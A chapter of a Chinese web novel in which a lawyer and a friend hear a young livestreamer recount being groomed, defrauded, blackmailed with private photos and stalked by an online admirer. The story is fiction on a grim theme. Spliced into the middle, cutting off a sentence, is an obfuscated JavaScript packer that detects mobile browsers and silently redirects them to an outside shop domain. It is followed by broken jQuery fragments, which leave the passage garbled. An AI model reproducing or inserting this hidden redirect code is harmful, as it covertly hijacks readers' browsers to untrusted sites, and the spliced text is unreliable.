闻铃开车接上住在酒店的曹倚,跟她一起往喵喵那边赶。
曹倚坐上车,盯着闻铃看了又看,“你不热吗?”
走几步路都会出薄汗的天气,竟然穿了件高领高领针织衫,拉链拉到顶,挡得严严实实。
“不热啊。”闻铃心虚地摸了摸脖子。
早上才发现脖子上的点点红印,不穿高领衣服根本走不出家门。
罪魁祸首只在桌上留下早饭,人却不知所踪。
渣男。
好在曹倚也没有刨根问底的想法,关于衣服的话题很快被她们抛在脑后。
二十分钟后,两人透过前窗,可以看到“喵喵”站在路边,垂着头,双手紧攥着书包的肩带。
闻铃把车停靠在“喵喵”的正前方,降下车窗,对她说:“久等了,上车吧。”
喵喵抬头看了眼车后干净整洁的环境,往后退了一步,踟蹰不前,“您跟我说警局地址,我自己过去吧。”
后面有什么吗?
闻铃注意到喵喵的手无助地盖在羽绒服的一大片污渍上,瞬间了然。
她和曹倚互看一眼,准备用她来恐吓车外的姑娘,“赶紧上车,我们这位曹律师,按秒收费。”
喵喵听到闻铃说的话,瞪大眼睛,拉门,上车,关门,一气呵成。
看来昨天的质问确实留下了深刻的阴影。
闻铃调转车头,无视曹倚飞射来的眼刀。
喵喵把双肩包抱在胸前,坐立难安,弱弱地问:“我们现在是去警局吗?”
车子拐了个弯,行驶在大道上。
车后座,不断传来的人让人很难忽略地“咕咕”声。
闻铃微微撇眉,柔声道:“不是,我们先去吃饭。”
餐厅包房内。
转盘桌摆满各色菜式,闻铃舀了一碗青菜粥放在喵喵面前。
“不去警局吗。”喵喵低着头,揪着衣角。
“去,但是我饿了,解决敌人之前要先填饱自己的肚子。”她挑起喵喵的下巴,凶道:“赶紧吃,凉了我还要找人来热。”
“……好。”
喵喵先抿了一小口,抬眼看到旁边的两人都在夹菜,慢慢地她的吞咽速度加快,大口大口的往胃里填充不同的食物。
闻铃眼神没放在她身上,余光却是一直注意她的一举一动。
她和曹倚都吃过早饭,为了让喵喵没有负担,只能不停地夹菜。
咽下藕片时,就像是一团打结的毛线,堵在嗓子里不上不下。
聚在喵喵前面的菜盘子很快空盘,闻铃舌尖泛苦,她给自己倒了杯茶,一点点吞下。
又过了好一会儿,喵喵才放下筷子,“我饱了。”她坐在位子上,等待闻铃的下一步安排。
“我们……”闻铃刚出声,就听到自己的声音沙哑异常,她只能停下,清了清嗓子,才说:“我们先不去警局。”
“为什么?”喵喵不解。
“你的真名,我想你应该先跟我们坦白。”曹倚把手机倒扣在桌面上,从包里拿出一叠将近有三厘米厚度的a4纸递给喵喵:“这是我们收集的证据,但实际上,那人发送的诽谤性言论肯定不止这么多。”
“我们想请你,把在你身上发生的故事一五一十的讲给我们。只有这样,才能真正帮到你。”
诽谤罪的量刑标准很广泛,不仅仅只是需要证据达到一定的数量,还必须要根据诽谤对象的受害程度进行考量。
更何况,那人对喵喵所做的事情,不仅只是诽谤……
那么到时候立案后,等待她的就不只是询问时间的来龙去脉那么简单;她会在事件没有尘埃落定之前,她会无数次重复回忆之前痛苦的过去。
报案对于受害人来说,是炼狱也是新生。
良久,喵喵转身从书包侧面里掏出张身份证,放在桌上,推向闻铃她们。
身份证正面向上,左侧照片上的女孩更加稚嫩,笑意盈盈看向镜头,上挑的眼尾十分俏皮。
美好的让人移不开眼。
闻铃看了眼姓名——钱予乐。
按照身份证上面的年份来算,到今年的10月份,她才满20。
也就是,事情发生时,她才刚刚18岁。
闻铃咬着的嘴唇发白,让这个年轻的姑娘硬生生撕开自己的伤疤,真的对吗。
“你……”她的手被曹倚按住,后者对她摇摇头。
女孩苦笑:“是不是觉得,这个名字跟我完全不沾边?”
闻铃不做声,她怕自己会打乱曹倚的节奏。来之前曹倚还嘱咐她,问话残酷又严肃,需要她的全力配合。
她当时还信誓旦旦保证,自己绝不会产生退缩的情绪。
现在就是她打脸的时候。
“予乐,我要跟你说的最后一件事,也是最重要的一件事。你要仔仔细细想清楚了,在回答我。”曹倚眼睛盯着她,不容许她有任何的走神。
钱予乐掐住自己的虎口处,迎上曹倚的目光:“……您说。”
“接下来你和我们说的事,一定不会只说一遍;有时是两遍,甚至三遍、四遍……到时,你面对的不是我们,而是负责案件的警察。”曹倚顿了下,才继续说:“你现在,还有反悔的机会。”
“我不后悔。”
“从我下定决心,打电话的那一刻,我就从没想过回头。”
钱予乐启唇对她们缓缓讲述两年来不为人知的过去——
两年前的8月底,刚刚成年的女孩怀着对舞蹈梦想的憧憬,在网络上开始发表自己的自编舞视频。
很快,她发现除了视频,还有另一个方法可以扩大知名度——直播跳舞。
她在网友的推荐下,找到一款直播app,在上面认证直播。
女孩每天早上工作,下班后第一时间开播。虽然观看人数不多,但她对此乐此不疲。
因为她相信天道酬勤。
某一天晚上,她往常一样开播。跟之前不同的是,右下角的弹幕突然滚动起来。
白云悠悠:【好看!】
【跳的很好哦!】
【一定要加油!】
【我会一直支持喵喵的!】
十几条弹幕,全来自同一个人。甚至他还会给她刷礼物。
虽然不多,但也是她这么久以来的唯一鼓励。
她和他加了好友,每晚都会聊天。在男人真切的赞赏中,她会憧憬自己美好的未来。
很快,男人开始给她提要求。
刚开始,只是穿个露脐装,超短裙;后来,变成深v,抹胸……让她跳的舞蹈,也都是一些充满性.暗.示的动作。
女孩本来心存疑惑,对这些舞蹈也都嗤之以鼻;但久而久之,她发现观看的人数正在逐渐增多,打赏她的礼物也在持续增长。
她像是打开了潘多拉魔盒,卖力的满足网友的所有要求,跟男人的关系也越发密切起来——不再满足于只跟他手机联系,她想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156729|135084||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面对面见见他。
她爱上了这个素未谋面的男人。甚至还幻想过跟他结婚。
女孩像男人提出见面,男人在电话里哭得声泪俱下,仅一句话就让女孩更加离不开他——
“予乐,你知道我有多爱你吗?但是我觉得我配不上你,你太耀眼了。”
她觉得自己有今天的成就都是因为男人的支持。
在她的想法中:她们位置调转,到了她该拯救男人的时候。
“李云,你不要这样说,你是不是遇到什么困难了?只要我能办到的,你尽管说。”
她不知道,现在她所说的话,会在之后化成一颗子弹,穿透她的心脏。
男人开始频繁找她借钱,她也无条件汇款给他,只因他说他会娶她。
5万、10万、15万……到最后他提出要30万。
纵使女孩当时直播赚了不少钱,也抵不过男人的挥霍无度。
她终于问了男人——
“你到底在做什么?”电话那头是男人不耐烦地声音,“你问那么多干吗?跟你说了,我在做工程,急需用钱。赶紧打给我,挂了啊。”
耳边只剩下“嘟嘟”作响地忙音,女孩却觉得那是魔鬼们正在窃窃私语。
嘲笑她天真以为自己找到了真爱,嘲笑她调入泥沼却不自知。
女孩做直播后一年后的八月份,她的父母发现她在网上发的视频。
打电话时,没有辱骂、责备,只是问她是不是遇到了困难,如果城里呆的太累,就回家来。
那天是女孩直播后的第一回放声大哭。
但女孩怎么也没想到,那天竟是和父母的最后一次通话。
八月正值雨季,她家乡所在的萍乡遭遇特大泥石流。正在家中厨房吃饭的父母,无一幸免。
直播一年多以来,她第一次请了假,本以为会等到男人问候的电话,没想到等到的确实他催促汇款的消息。
女孩回到她的家乡,被拦在警戒线外。
坑洼不平的泥泞,入眼处一片断壁残垣。
她回看她之前走过的路,就像是蒙上一层雾气,她看不到前面,也回不到过去。
安葬完父母后,她拉黑了男人的所有联系方式。
可她以为的结束,竟然是她噩梦的开始。
男人不知道从哪又创建了个新号,私信发给她几张照片——
全是她在家里的各种样子。
他用冷冰冰的文字威胁她——
【予乐,我爱你,你不知道吗?】
【我以为你会听话,可你呢,你就是这么报答我的?
【我真的很爱你啊,宝贝,你不是去要见面吗?我们见面吧,行吗?】
【你生气了,是不是?我都跟你说了,我是去工作,等赚钱了,我们就结婚。】
…….
【你不回我?信不信我把你这些图片发到网上,让他们都来看看你骚.狼的样子】
女孩害怕又无助,她靠着最后一丝理智,半夜搬离了小区。
找个了都是老年人的家属楼。
从那天起,女孩家里的窗帘再也没有打开过。
它被她死死地钉进墙上,就像钉进她令人恶心的人生一样。
男人没有放弃对她的羞辱。
不断被拉黑,不断重来。
像黑暗中躲在墙角里,无时无刻注视着她的影子。
她在长期的压抑中,站在了死亡的边缘。